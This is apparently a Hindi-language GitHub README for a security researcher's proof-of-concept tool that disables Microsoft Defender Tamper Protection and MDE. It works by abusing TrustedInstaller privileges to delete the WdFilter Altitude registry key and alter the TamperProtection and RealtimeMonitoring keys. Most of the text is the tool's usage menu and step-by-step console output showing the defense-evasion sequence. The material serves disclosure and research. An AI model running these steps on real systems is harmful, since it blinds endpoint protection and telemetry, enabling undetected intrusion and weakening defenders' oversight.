alteredsecurity/disable-tamperprotectionएक POC जो TamperProtection और अन्य Defender / MDE घटकों को अक्षम करने के लिए है
SYSTEM / TrustedInstaller विशेषाधिकारों का दुरुपयोग करके WdFilter सेटिंग्स (ALTITUDE regkey) के साथ छेड़छाड़ करना या उन्हें हटाना और कर्नेल मिनीड्राइवर को अनलोड करना संभव है, ताकि टैम्पर प्रोटेक्शन और अन्य Defender घटकों को अक्षम किया जा सके। यह Microsoft के Defender for Endpoint (MDE) को भी प्रभावित करता है, जिससे लक्ष्य पर की गई टेलीमेट्री और गतिविधियों के प्रति MDE अंधा हो जाता है।
परीक्षण के दौरान यह भेद्यता Windows के निम्नलिखित संस्करणों को प्रभावित करती पाई गई:
बायपास और POC समझाने वाला ब्लॉग: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components
नोट: लक्ष्य पर VC_redist.x64.exe (MSVC runtime) इंस्टॉल करना आवश्यक हो सकता है।
POC डेमो: https://youtu.be/MI6aVDHRix8
POC 3 चरणों में काम करता है (एडमिन विशेषाधिकार आवश्यक हैं):
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
POC का उपयोग करने का एक उदाहरण इस प्रकार है:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
पोस्ट किया गया: Munaf Shariff (@m3rcer)
Altered Security में सुरक्षा शोधकर्ता